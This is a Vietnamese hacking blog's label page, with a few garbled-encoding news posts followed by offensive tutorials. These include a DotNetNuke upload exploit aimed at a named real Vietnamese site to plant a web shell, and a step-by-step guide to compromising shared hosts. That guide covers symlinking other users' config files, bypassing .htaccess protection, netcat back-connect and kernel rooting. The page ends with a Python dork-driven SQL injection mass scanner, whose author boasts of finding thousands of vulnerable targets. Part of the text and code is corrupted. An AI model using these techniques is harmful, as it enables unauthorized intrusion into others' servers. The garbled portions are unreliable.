Hiển thị các bài đăng có nhãn Hacking and Security. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Hacking and Security. Hiển thị tất cả bài đăng

Thứ Năm, 24 tháng 11, 2016

Top 7 hacker m? tr?ng l?ng danh thi�n h?

M?i n�m, n?n kinh t? to�n c?u thi?t h?i kho?ng 445 t? USD do t?i ph?m m?ng. Trong b?i c?nh ��, vai tr? c?a c�c cao th? hacker m? tr?ng tr? n�n quan tr?ng h�n bao gi? h?t.

T?t c? h? �?u l� hacker xu?t s?c d� c� xu?t ph�t �i?m kh�c nhau. M?t s? l� hacker "m? �en" chuy?n sang. M?t s? l� hacker 'm? tr?ng' ngay t? �?u.

top-whitehat-hacker

D� c� qu� kh? kh�c nhau nh�ng hi?n t?i, t?t c? h? �?u c� m?t �i?m chung: Kinh doanh b?o m?t v� ki?m b?n ti?n t? ch�nh t�i n�ng c?a m?nh.
Read More

Thứ Ba, 30 tháng 8, 2016

L? h?ng b?o m?t Cross-Site-Scripting (XSS) c� g? nguy hi?m?

M?i khi ��ng nh?ng b�i writeup v? m?t l? h?ng XSS ��?c ph�t hi?n tr�n m?t trang web n�o ��, t�i bi?t s? c� nh?ng ng�?i nh?ch m�p c�?i kh?y v? l�c �� trong �?u h? s? ngh?:

  • "C�i l?i XSS n�y th? c� c�i qu�i g? nguy hi?m c� ch??"
  • "Ngo�i vi?c hi?n l�n m?t h?p tho?i th? XSS l�m ��?c c�i �?ch g? n?a kh�ng?"
  • "M?t l? h?ng v? v?n th�i m�. � m� hi?n h?p tho?i c?ng ��?c g?i l� l? h?ng h??"
  • ...

V?y th?, XSS c� g? nguy hi?m?



Thay v? vi?t ra �?ng l? thuy?t nh�m ch�n, ch�ng ta s? c�ng xem x�t nh?ng h?nh th?c t?n c�ng khai th�c XSS �? ��?c �p d?ng trong th?c ti?n. N�i tr�?c �? nh?ng b?n n�o c?n ch�a bi?t v? XSS th? n�n Google xem n� l� g? tr�?c khi �?c ti?p b�i vi?t n�y nha.
Read More

Chủ Nhật, 22 tháng 5, 2016

Hacker ng�?i Ukraine - v? kh� l?i h?i nh�ng c?ng l� �c m?ng c?a FBI

Hacker ng�?i Ukraine - v? kh� l?i h?i nh�ng c?ng l� �c m?ng c?a FBI

C�u chuy?n b�n d�?i do trang Wired k? l?i v? m?t hacker ng�?i Ukraine �? t? n?p m?nh cho M?, l�m vi?c v?i FBI �? t�m m?t s? tin t?c kh�c. Nh�ng r?i ch�ng hacker n�y l?i quay sang t?n c�ng AT&T v� m?t s? h?ng l?y ��?c ti?n chu?c �? tr�nh ti?t l? c�c th�ng tin m?t v� m? ngu?n ph?n m?m VMWare. C�u chuy?n n�y kh� ly k?, kh�ng kh�c g? phim h�nh �?ng, tuy h�i d�i nh�ng r?t h?p d?n n�n anh em ch?u kh� xem h?t. Qua ��, ch�ng ta c?ng th?y ��?c s? gi�p �? t?n t?nh c?a m?t nh�n vi�n FBI trong qu� tr?nh gi�p ng�?i hacker n�y tho�t kh?i �n n?ng c? tr�n �?t M? l?n sau khi anh quay l?i Ukraine.

�?n M?

Th�ng 1/2001, Maksym Igor Popov, m?t ch�ng trai tr? 20 tu?i, b�?c �i m?t c�ch lo l?ng b�n ngo�i c?a �?i s? qu�n M? t?i London. Ng�?i ta c? t�?ng anh l� m?t sinh vi�n chu?n b? xin visa �i du h?c, nh�ng th?c ch?t anh l� m?t hacker, l� m?t th�nh vi�n c?a m?t b�ng �?ng tin t?c ��ng �u �? �?t nh?p v� t?ng ti?n nhi?u c�ng ty ? M?. Gi? ��y anh �ang chu?n b? g?p m?t nh�n vi�n FBI, ng�?i s? ��a cho anh passport v� m?t t?m v� t?i M?, �?i l?i anh s? ph?i l�m vi?c cho FBI d�?i danh ngh?a l� m?t chuy�n gia b?o m?t.
Read More

Thứ Hai, 26 tháng 8, 2013

Hack forum với method DNN

tìm các forum lỗi với dork chính sau
inurl:/portals/0/default.aspx
inurl:/tabid/36/language/en-US/Default.aspx

Mình tùy biến đi để có dork cho site việt nam nhé

inurl:"/portals/0? site:..vn



chọn 1 thằng làm victim nhé,
mình chọn thằng này 
http://www.viglaceraland.vn/
chạy trên browser 
http://www.viglaceraland.vn/Provider...nkgallery.aspx
sẽ cho như sau




nó ko cho up file từ máy tính
ta chạy script sau javascript:__doPostBack('ctlURL$cmdUpload','')

thì nhận đc là




nó đã cho up load từ máy tính nhé.ta up thử 1 file txt nào
up file capuchino.txt nhé 

chạy thử nha http://www.viglaceraland.vn/Portals/0/capuchino.txt
--->từ đây suy ra đường dẫn các file tương tự nhé 



nó cho up file ảnh,thì ta có thể up shell thông qua up file ảnh nha,trên firefox mình ko chạy javascript đc nên ko demo chỗ này đc ^^ :v
Tư duy - Phương hướng Attack Website - Server

Tư duy - Phương hướng Attack Website - Server

Tình hình là có khá nhiều bạn pm mình hỏi cách check site.Mà Mình cũng không có nhiều thời gian để chỉ từng bạn.Nên mình viết cái đường đi.Tư duy check site để các bạn đọc.Từ đó có một cái định hướng.Tự mình nghiên cứu.Thực hiện.


Điều đầu tiên mình muốn nói đó là muốn tấn công 1 site.Điều đầu tiên bạn cần có đấy là sự kiên nhẫn.Cóp nhặt từng tí một.Không thể nôn nóng mà bỏ qua nhiều thông tin.Dẫn đến giảm hiệu quả.Không phải website nào tấn công 1 phát cũng là được ngay.Chính vì thế nên phải tích từng đi thông tin một.

Nếu để kiếm một site để check chơi thì tốt nhất là các bạn nên dùng các dork tìm các site có lỗi sẵn.Ví dụ như các dork sqli .Các dork của các phiên bản joomla ,vbulletin có lỗi.Như vậy sẽ hiệu quả hơn là tìm 1 site bất kì rồi xem thử nó có lỗi không. (Ngoài ra còn có một cách nhanh hơn nữa đó là dùng tool scan dork.Nó sẽ tìm cho bạn một khối site bị lỗi có thể check được từ một list dork có sẵn.Cái này hiệu quả hơn cho dân UG lúc tìm shop lỗi.)

Còn nếu bạn muốn tấn công một website xác định.Thì việc này khó hơn.Giả sử victim của bạn có domain là target.com .Để tấn công victim một cách hiệu quả.(Mình nói ở đây là cả đối với host share và private.Site lớn có bảo mật tốt,lẫn site nhỏ,forum. ) .

Bước 1:Lấy thông tin ban đầu.

Lấy thông tin của victim .Bằng các whois nó.Tìm hiểu càng nhiều thông tin về victim càng tốt.Và google ,bing ,yandex .... đều là các công cụ hữu ích.Mình khuyên nên thử với nhiều công cụ tìm kiếm.Vì bản thân thuật toán tìm kiếm của các công cụ này khác nhau nên dẫn đến cho nhiều kết quả với hiệu quả khác nhau.
Ví dụ như nhập vào công cụ search như sau

ip:123.101.11.122 id=

Nó sẽ cho ta một số thông tin thú vị.Bạn hãy cố gắng thu thập thông tin ban đầu càng nhiều càng tốt.Chủ sở hữu domain.Admin của website.Support.Kể cả số điện thoại , facebook,gmail ,yahoo, địa chỉ mail của công ty.1 Attacker giỏi là một attacker có khả năng tận dụng mọi sơ hở.Mọi điểm yếu có thể tấn công.

Bước 2 : Phân tích khả năng tấn công.

Đầu tiên là nên scan victim chính.Scan victim chính là công việc chủ đạo.Đối với site nằm trong server private của các công ty lớn.Thì đây là bước đóng vai trò quyết định bạn có thể attack được nó hay không.
Công cụ scan khá nhiều.Mình giới thiệu bạn 1 số bộ như acunetix Vulnerablility Scanner . OpenVas (của backtrack ) , w3af ( của backtrack ) , nessus (của backtrack ), wpscan ( scan wordpress trong backtrack ) , joomlascan ( scan bug joomla trong backtrack , uniscan ( trong backtrack ) ... ngồi mà kể hết các bộ công cụ chắc đến sáng mai.Công cụ thì nhiều nhưng các bạn nên chọn lựa.Đối với victim nào nên dùng bộ nào.Và nên dùng kết hợp.Vì như mình đã nói.Với mỗi tool khác nhau nó dùng cơ chế ,thuật toán scan khác nhau.Nên hiệu quả nó cũng khác nhau.Từ kết quả scan được.Nó cho ta định hình phải tấn công như thế nào.

Scan server.Scan lấy thông tin về server.Ví dụ như xem server dùng hệ điều hành gì.Sử dụng Apache ,SII phiên bản bao nhiêu. Được viết trên ASP hay PHP .Port nào mở.(Để scan port thì có thể dùng nmap.Nó là công cụ rất hiệu quả).

Mọi thông tin về phiên bản,port bạn hãy google ngay.Hoặc vào exploit-db.com xem nó có thể bị attack thông qua nó hay không.Còn không bạn có thể lưu lại thông tin.Rồi sau đó kiểm tra 1 lần xem sao.Đây là các bước rất cần thiết đối với việc tấn công 1 website lớn.

Đối với Server share host.Phân tích khả năng tấn công .Đây cũng là một bước rất quan trọng.Nó rút ngắn thời gian tấn công của bạn.Nhưng mang lại hiệu quả cao.
Mình thấy đa số (Và trước đây mình cũng vậy ). Đó là để tấn công 1 website ko bị lỗi ,Không có lỗ hổng.Mình thường reserve ip của server chứa victim.Rồi mở từng site check xem có sqli hay không.
Đồng ý là sqli rất nhiều.Và rất dễ khai thác.Nhưng không phải lúc nào mình cũng có thể may mắn.Check 1 cái là ra link bị lỗi ngay.Nếu scan toàn bộ site thì đến bao giờ mới xong.Có một cách rút ngắn quá trình này đó là xác định loại site cần tấn công.

Mình ví dụ.Bạn có kinh nghiệm về check wordpress.Bạn muốn tìm các site trong server sử dùng mã nguồn này để tấn công.Sau đó local sang victim chính.Hãy dùng google với dork là

ip:112.78.2.247 "wordpress"

Như đây mình nhận được một victim trong server này sử dụng wordpresss http://www.saigoncanho.com.vn/

Tương tự cho các mã nguồn khác cũng vậy.

Bước 3: Tấn công.

Đây là bước nhiều nhất,Nhưng mình nói ít nhất,ví nó có quá nhiều kiểu tấn công.Biết nói thế nào cho hết được.
Chỉ đúc kết một số kinh nghiệm.Ví dụ như đối với forum vbb chẳng hạn.Nhiều phiên bản thực sự không có bug.Nhưng không phải vì thế mà ta bỏ qua.Hãy xem các web application của nó.Ví dụ như các mod.Đối với joomla và các mã nguồn khác cũng vậy.Hãy xem cách extension đi theo.Chúng rất hay bị lỗi.Bởi vì đây đa số là các ứng dụng tích hợp được viết bởi các web developer việt nam.Chúng rất kém trong việc bảo mật.

Tận dụng tối đa kết quả mà các bạn scan ở trên.Ví dụ như bạn scan được server dùng apache 2.1 chẳng hạn.Hãy xem nó là bản update chưa.Nếu chưa có lỗi để khai thác không.Tấn công vào nó.Xem thông tin từ các lỗi public trên google mà tấn công.Hãy cố gắng tấn công 1 cách từ từ. 

Xem trong cấu trúc site khi scan được .Chỗ nào là khai thác được.Ví dụ như chúng để lại database back up trên site chẳng hạn.Tải về và phân tích ngay.

Nhiều bộ công cụ scan nó scan đến từng lỗi nhỏ.Như tìm vị trí có thể up ảnh, up file bẳng hạn.Hãy cố bypass up shell thử xem.

Ở mục này có quá nhiều cái để nói.Và thực chất đa số mọi tut hack thường nói về phần này.Nên mình để phần này cho các bạn.Hãy cố gắng tích hợp càng nhiều kinh nghiệm phần này .Càng nhiều càng tốt.Các phần khác nó đi theo 1 qui luật nhất định.Có thể đối với victim nào bạn cũng làm như thế.Nhưng đối với phần này.Nó phụ thuộc vào nhiều thứ.Phụ thuộc vào kết quả scan được.Phụ thuộc vào những đối tượng khác nhau.Nên nó rất đa dạng.

Kết quả ở phần này.Là bạn có thể có được tài khoản admin.Up được shell.

Bước 4: Nếu tấn công được trực tiếp target rồi thì không nói làm gì.Nếu tấn công đc một site nằm cùng server.Thì bước tiếp theo là local.Về vấn đề local này cũng khá rộng.Mình chỉ nói qua một phần trong đó.

Trong local thì symlink là một kiểu local phổ biến nhất ,Được dùng nhiều nhất.Nó như là một shortcut bên window.Góp phần làm nhanh quá trình gọi chạy một file.Nếu như gọi trực tiếp hardlink thì quá trình họat động của server sẽ chậm hẳng.

Trong phương pháp local.Mục đích chính của chúng ta là đọc / lấy các file config (hoặc 1 file config của target cần tấn công ). Việc thực hiện đầu tiên là chúng ta thường đọc file /etc/passwd để xác định tất cả các user nằm trong server ( Và không phải server nào cũng cho ta thực hiện đc.Phải bypass ).

Để đọc file config ta còn phải nắm các mã nguồn.Với mỗi mã nguồn khác nhau thì file config nó nằm ở một vị trí khác nhau.
Mình đưa ra một số file config đối với một số mã nguồn tương ứng.

vBulletin : /includes/config.php
IPB : /conf_global.php
MyBB: /inc/config.php
Phpbb: /config.php
Php Nuke : /config.php
Php-Fusion : config.php
SMF : /Settings.php
Joomla : configuration.php 
WordPress : /wp-config.php
Drupal: /sites/default/settings.php
Oscommerce: /includes/configure.php



Từ đây ta hình dung được đường dẫn chính xác dẫn đến file config của victim.Từ đó có thể symlink được chính xác file cần đọc. (Nếu như victim đổi vị trí của file config.Thì ta phải ngồi symlink mò.Symlink từ index nó,đến những file khác,xem nó include những file nào .Từ file này dò đến file kia.Đối với một attacker kinh nghiệm.Thì việc bảo mật bằng cách giấu file config của victim đôi khi không hiệu quả.

Cấu trúc lệnh symlink (để symlink file có địa chỉ là /home/usertarget/public_html/includes/config.php target.txt
lệnh này symlink file config về file target.txt nằm ở thư mục ta đang symlink. Ở điều kiện tốt nhất ta có thể đọc đc file target.txt này trên host ta đặt shell.

Nhưng không phải khi nào ta cũng có điều kiện tốt như vậy. Chủ của website có thể chmod không cho ta đọc file config (100,101,400... ) chẳng han.Tùy server.Hoặc chủ website đặt tại thư mục chứa file config đấy 1 file .htaccess có nội dung như sau.

<Files config.php>
order allow, deny
deny from all
</Files>

Nếu chủ site đặc như thế thì khi symlink ta sẽ nhận được thông báo là 403 Forbidden Error.
Ở bài này mình chỉ nói đến tư tưởng tấn công chứ không nói chi tiết về phương pháp tấn công.Nên mình chỉ nêu 1 vài ví dụ.

Nếu như ta không đọc được thì sao.Ta phải suy nghĩ vì sao không đọc được.Tư duy đặt trường hợp ta vào vị trí admin của victim.Nếu là ta ,ta sẽ bảo mật như thế nào.Sẽ làm gì.Từ đó ta có những biện pháp khác nhau.

Giả sử như ta tìm giải pháp để bypass 403 forbidden error do chủ website đặt file .htaccess chẳng hạn nhé.
Trên host ta đặt shell.Tạo một thư mực có tên là VHBSYSTEM chẳng hạn.Đường dẫn đầy đủ của nó ví dụ như sau : /home/attacker/public_html/VHBSYSTEM/ .Chmod lại thư mục này là 777 (lúc đầu chưa cần.Nếu không được hẵn thử ). Sau đó tạo một file .htaccess với nội dung như sau 

HeaderName vhb.txt

Đặt file .htaccess này vào thư mục /home/attacker/public_html/ . Nếu ta symlink file config vào file vhb.txt với cấu trúc lệnh ln -s /home/victim/public_html/includes/config.php vhb.txt

Thì sau khi symlink xong .Ta vào thư mục VHBSYSTEM và đọc file vhb.txt vừa symlink về.Nó sẽ bypass được.

Đây chỉ là 1 ví dụ trong nhiều cách bypass.Nhiều bạn bảo local phải có tư duy.Nhưng mình nghĩ muốn local tốt thì phải biết nhiều cách bypass trong trường hợp không đọc được file.

Vấn đề này bạn nên tham khảo thêm ở nhiều tài liệu được share trong VHB. ( hoặc ghé thăm vhbgr0up.blogspot.com )

Trong các cách cũng được khá nhiều người dung.Nhưng dùng symlink all config ( cái này trên blog và forum của vhb cũng có nói rồi ). Sym root bằng cách tạo sym root ở một server linux nào đó .Sau đó tar lại.Up lên server cần local.Cái này trên VHB cũng nhiều bài nói đến rồi.

Mình đề cập thêm việc sym root ngay trực tiếp trên server.Đôi khi nó khá hiệu quả trong việc bypass security.
Như khi nãy.Tạo một folder VHB để tiện xử lí.Link full của nó /home/attacker/public_html/VHB .Sau đó ta thực hiện symlink trên shell như sau " ln -s /root" . Sau đó ta chọn một victim có domain là target.com chẳng hạn.Tiếp tục type "ls -la /etc/valiases/target.com" .Sau ddos quay lại folder ta vừa tạo VHB.Đặt vào đấy 1 file htaccess có nội dung như sau

Options Indexes FollowSymLinks
DirectoryIndex index.htm
AddType txt .php
AddHandler txt .php

Bây giờ ta vào xem ta symlink được những gì.Nếu như chỗ nào nó báo permisssion access.Thì cũng đừng lo lắng bận tâm.Hãy vào sâu hơn.Giả sử ta cần xem target.com có user lấy được ở trên là target đi.
Thì ta xem nó với link sau attacker.com/VHB/root/home/target/public_html/ ......
Đôi khi xem không được thì có thể view source lên nhé.

Thôi dừng ở việc local lại.Không viết đến khi nào mới xong.Bạn cứ lượn trên blog VHB 1 tuần.Kiểu gì chả pro local :).


Bước 5.Rooting.

Nếu là server linux thì nên thử Get root nó .Đôi khi thử rooting server lại là con đường ngắn hơn cả local sang.Không phải khi nào cũng local được.Nó bảo mật bá đạo quá thì cũng chịu chết thôi.Hãy thử rooting nếu được.

Tạo một backconnect hoặc có thể bind một port nào đó.MỘt back connect ở đây là server có thể tự connect về mình sau khi mình mở một port đặng biệt nào đó và lắng nghe nó bằng netcat ( nc -l -v -p 4444 ) chẳng hạn.Có khá nhiều shell hỗ trợ back-connect..

Muốn rooting thì phải kiểm tra xem kernel đó có rooting được hay không.Trên shell bạn có thể kiểm tra bằng lện "uname -a" .Lấy phiên bản của kernel nhân được .Tìm trên google xem nó thể exploit đc hay không.
(Có thể vào exploit-db.com/local/ ) để tìm.

Bước 6: Attack Mạng Lan.

Nếu bạn đã chiếm đc 1 server máy chủ rồi.Thì hãy cố gắng thử tấn công các máy cùng mạng Lan với nó.Đây là cơ hội để thể hiện khả năng attack trong mạng Lan của bạn.Cái này khi nào đấy bảo smod Hoangnhatnam của chúng ta demo.Để anh em mở mắt :))
Các cách hacks file .htaccess

Các cách hacks file .htaccess

File .htaccess (hypertext access) của apache là một công cụ cực kỳ hữu dụng. File .htaccess thường được tìm thấy trong thư mục root của website, bạn có thể dễ dàng sửa chữa nó bằng bất kỳ text editor nào. Bạn nên sao lưu lại file .htaccess của mình trước khi thử nghiệm các cách hack dưới đây.



1. Ngăn chặn hotlink

Nhiều người copy ảnh từ server của bạn và đưa lên trang web của họ. Thêm vào .htaccess đoạn mã dưới đây sẽ giúp bạn ngăn chặn ảnh hiển thị trên website khác:

Options +FollowSymlinks
#No hotlink
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^[IMG]http://(www.)?domain.com/[/url] [nc]
RewriteRule .*.(gif|jpg|png)$ [url]http://domain.com/images/stop_stealing_bandwidth.gif[/IMG] [nc]

2. 301 Redirect

Nếu bạn chuyển domain, hoặc chỉ muốn chuyển một trang cũ về một trang mới và không muốn lo lắng về các kết quả search từ google, sử dụng đoạn mã sau

Redirect 301 /d/file.html http://www.domain.com/r/file.html

3. Chuyển hướng từ tên miền cũ sang tên mới

Sử dụng đoạn mã dưới đây bạn có thể chuyển tất cả các link từ tên miền cũ sang tên miền mới:

#Chuyển hướng từ tên miền cũ sang tên mới
RewriteEngine On
RewriteRule ^(.*)$ http://www.domain.com/$1 [R=301,L]

4. Tạo trang báo lỗi riêng

Bạn không muốn dùng các trang báo lỗi có sẵn của host, bạn có thể tạo các trang báo lỗi riêng và cấu hình vào file htaccess như sau:

ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php

5. Cấm IP truy cập
Nếu có 1 IP thường xuyên spam website của bạn, bạn có thể cấm IP đó như dòng 2, hoặc cấm 1 dải IP như dòng 3:

allow from all
deny from 113.190.183.138
deny from 113.190

6. Đặt email mặc định cho server admin

Sử dụng đoạn mã sau:

ServerSignature EMail
SetEnv SERVER_ADMIN default@domain.com

7. Bảo vệ file

Đoạn mã dưới đây sẽ từ chối khi người dùng truy cập vào bất kỳ file nào và gửi về lỗi 403:

#Protect .htaccess File

order allow,deny
deny from all


8. Đặt mã cho thư mục và file

Bạn có thể đặt mã & quyền truy cập vào thư mục/file như sau:

# Đặt mã cho thư mục
resides
AuthType basic
AuthName "Thư mục này đã được bảo vệ"
AuthUserFile /home/path/.htpasswd
AuthGroupFile /dev/null
Require valid-user

# Đặt mã cho file

AuthType Basic
AuthName "Prompt"
AuthUserFile /home/path/.htpasswd
Require valid-user


9. Đặt trang mặc định

Bạn có thể đặt trang web mặc định cho thư mục nào đó. Ví dụ đặt file about.html thay cho file index.html:

#Đặt trang mặc định (index)
DirectoryIndex about.html

10. Nén file bằng cách bật Gzip

Bằng cách bật Gzip bạn có thể nén file từ server giúp cho việc tải trang nhanh hơn

AddOutputFilterByType DEFLATE text/html text/plain text/xml application/xml application/xhtml+xml text/javascript text/css application/x-javascript
BrowserMatch ^Mozilla/4 gzip-only-text/html
BrowserMatch ^Mozilla/4.0[678] no-gzip

BrowserMatch bMSIE !no-gzip !gzip-only-text/html

11. Bỏ "category" ở URL

Để chuyển url từ: http://domain.com/category/tong-hop về -> http://domain.com/tong-hop, bạn chỉ cần thêm vào file .htaccess đoạn mã sau

RewriteRule ^category/(.+)$ http://www.domain.com/$1 [R=301,L]

12. Bỏ phần đuôi file ở URL

Bạn mới lập trình php và không muốn hiện .php ở url, hãy thêm đoạn code sau:

RewriteRule ^(([^/]+/)*[^.]+)$ /$1.php [L]

13. Thêm / vào cuối URL

Một vài bộ máy tìm kiếm (như Yahoo)tự động bỏ dấu / ở cuối url. Website của bạn cũng có thể được truy cập có hoặc không có dấu / ở sau cùng url. Điều này không tốt với các bộ máy tìm kiếm (sẽ bị coi là duplicated content). Thêm đoạn mã dưới đây vào .htaccess để giải quyết vấn đề đó:

#Thêm / vào cuối URL
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_URI} !#
RewriteCond %{REQUEST_URI} !(.*)/$
RewriteRule ^(.*)$ http://vannyneo.com/$1/ [L,R=301]

14. Bỏ www ở URL

Nếu bạn muốn chuyển mọi truy cập từ http://www.example.com thành http://example.com, thêm đoạn mã sau vào file .htaccess:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} !^example.com$ [NC]
RewriteRule ^(.*)$ http://example.com/$1 [L,R=301]

15. Thêm www vào URL

Tất nhiên nếu bạn muốn ngược lại "14" bạn có thể dùng đoạn mã sau:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} !^www.example.com$ [NC]
RewriteRule ^(.*)$ http://www.example.com/$1 [L,R=301]

16. Không cho "browse" thư mục

Để ngăn chặn truy cập vào tên file trong thư mục nào đó (ví dụ thư mục plugins của wordpress), thêm đoạn mã sau vào file .htacess:

Options All -Indexes

Nếu bạn muốn cho phép browse thư mục bạn chỉ cần đổi lại là: Options All +Indexes

Thứ Sáu, 16 tháng 8, 2013

SQL Injection Scanner

SQL Injection Scanner

I coded this long time ago, was the first tool I coded in python just to learn the language, it's not very complex but does a pretty good job anyway. 
Here's the code:

#!/usr/bin/python #    Copyright (C) 2010 <xrrrx@ymail.com> #    This program is free software: you can redistribute it and/or modify #    it under the terms of the GNU General Public License as published by #    the Free Software Foundation, either version 3 of the License, or #    at your option) any later version. #     #    This program is distributed in the hope that it will be useful, #    but WITHOUT ANY WARRANTY; without even the implied warranty of #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the #    GNU General Public License for more details. #     #    You should have received a copy of the GNU General Public License #    along with this program.  If not, see <http://www.gnu.org/licenses/>. 
from multiprocessing import Process from xgoogle.search import GoogleSearchSearchError
from itertools import count
import urllib2
from itertools import count import urllib2sysargparse

global strSQLi

strSQLi 

strSQLi = ["error in your SQL syntax"# GENERIC
           
           "Syntax error at"# GENERIC
           
           "You have an error in your SQL"# MYSQL
           
           "Division by zero in"# MYSQL
           
           "not a valid MySQL result"# MYSQL
           
           "Call to a member function"# MYSQL
           
           "Microsoft JET Database"# MSACCESS
           
           "ODBC Microsoft Access Driver" # MSACCESS
           
           "Microsoft OLE DB Provider for SQL Server"# MSSQL
           
           "Unclosed quotation mark"# MSSQL
           
           "Microsoft OLE DB Provider for Oracle"# ORACLE
           
           "Macromedia][SQLServer JDBC Driver]"# COLDFUSION

def split(alistwanted_parts=1):
    
    length len(alist)
    return [ 
    return [ alist[i*length // wanted_parts: (i+1)*length // wanted_parts]
             
             for i in range(wanted_parts) ]

def checkSQLi(resultsi):
    
    # test single quote
    
    for result in results[i]:
        try:
            if(
        try:             if(args.verbose>='2'):
                print 
                print "[INFO] Testing URL: %s" result.url
            
            if not "=" in result.url:
                if(
                if(args.verbose>='2'):
                    print 
                    print "[INFO] No params available for injection for: %s" result.url
                
                continue
            
            response urllib2.urlopen(result.url.replace("=""='"))
            
            html response.read()
        
        except Exceptione:
            if(
            if(args.verbose>='1'):
                print 
                print "[ERROR] %s" e
            
            continue
        
        except KeyboardInterrupt:
            return 
            return False
        
        else:
            if(
            if(checkSQLiStr(html)):
                    print 
                    print "[INFO] URL: %s" result.url
                    
                    print "       Possible vulnerable!"
            
            else:
                if(
                if(args.verbose>='1'):
                    print 
                    print "[INFO] URL: %s" result.url
                    
                    print "       Not vulnerable."
    
    return False

def checkSQLiStr

def checkSQLiStr(html):
    return 
    return any(checkStr in html for checkStr in strSQLi)

def main():
    
    tries 0
    
    while True:
        try:
            if(
        try:             if(args.verbose>='1' and tries 0):
                print 
                print "[WARNING] (%d) Retrying google search query" tries
            
            if(tries>=args.retry):
                if(
                if(args.verbose>='1'):
                    print 
                    print "[ERROR] Maximum retries reached..."
                
                sys.exit()
            else:
                
            else:                 tries tries 1
            googleSearch 
            googleSearch GoogleSearch(args.keyword)
            
            googleSearch.page args.page
            googleSearch
            googleSearch.results_per_page 100
            
            print args.keyword
            
            for i in count():
                
                allResults googleSearch.get_results()
                if 
                if not allResults# no more results (pages) were found
                    
                    break
                
                splitResults split(allResultsargs.threads)
                
                processes = [Process(target=checkSQLiargs=(splitResults,i)) for i in range(args.threads)]
                if(
                if(args.verbose>='1'):
                    print 
                    print "[INFO] Starting %d threads..." args.threads
                
                for p in processes:
                    
                    p.start()
                for 
                for p in processes:
                    
                    p.join()
                
                tries 0
            
            print "Finished..."
            
            sys.exit()
            
            # finished
        
        except SearchErrore:
            if(
            if(args.verbose>='2'):
                print 
                print "[ERROR] Search failed: %s" e
            
            continue
        
        except KeyboardInterrupt:
            print 
            print "Suspended by user..."
            
            sys.exit()

if 

if __name__ == '__main__':
    
    parser argparse.ArgumentParser()
    
    parser.add_argument('-v'dest='verbose', default='0'help='Verbosity level'choices='012')
    
    parser.add_argument('-p'dest='page'type=int, default='0'help='Start google search from page')
    
    parser.add_argument('-s'dest='stop'type=int, default='5'help='Stop at -s page')
    
    parser.add_argument('-r'dest='retry'type=int, default='4'help='Amount of times to retry after google search timeout')
    
    parser.add_argument('-t'dest='threads'type=int, default='2'help='Threads for checking SQLi in query results')
    
    group parser.add_argument_group('required arguments')
    
    group.add_argument('-k'dest='keyword'help='Keywords to use on google query'required=True)
    
    args parser.parse_args()
    print 
    print "Starting..."
    
    main()
    
    sys.exit()  

Required libraries:

http://argparse.googlecode.com/svn/trunk/argparse.py https://github.com/pkrumins/xgoogle (this one needs fixes,you can fix it yourself or download this one http://www.mediafire.com/?7a175lzzipm3x3s) 

Usage:

usagescanner.py [-h] [-{0,1,2}] [-p PAGE] [-s STOP] [-r RETRY]
[-
[-t THREADS] -k KEYWORD

optional arguments

optional arguments:
-
-h, --help show this help message and exit
-
-{0,1,2Verbosity level -p PAGE Start google search from page -s STOP Stop at -s page -r RETRY Amount of times to retry after google search timeout -t THREADS Threads for checking SQLi in query results

Example

Example./scanner.py -'somekeyword inurl:"php?id="' -t 5 -v 1   


xargs can be used to feed google dorks from a file.

It basically scrape results from google with the keyword you input and try test for sql injection. It only checks for error based injections with single quote triggers, the idea was to add more injection methods, more search engines and other features, but I never continued the development, it still gave me thousands of vulnerable targets.

So if someone would like to improve it or add some feature please share it.

+ Lưu File Đó dưới dạng đuôi python ( *.py ).Phải cài Python trước để sử dụng..
+ Có Readme Kèm Theo + Example
+ Site Lỗi Sẽ Được Lưu Dưới Dạng Txt nằm cùng thư mục python bạn chạy

Nguồn: VNCno1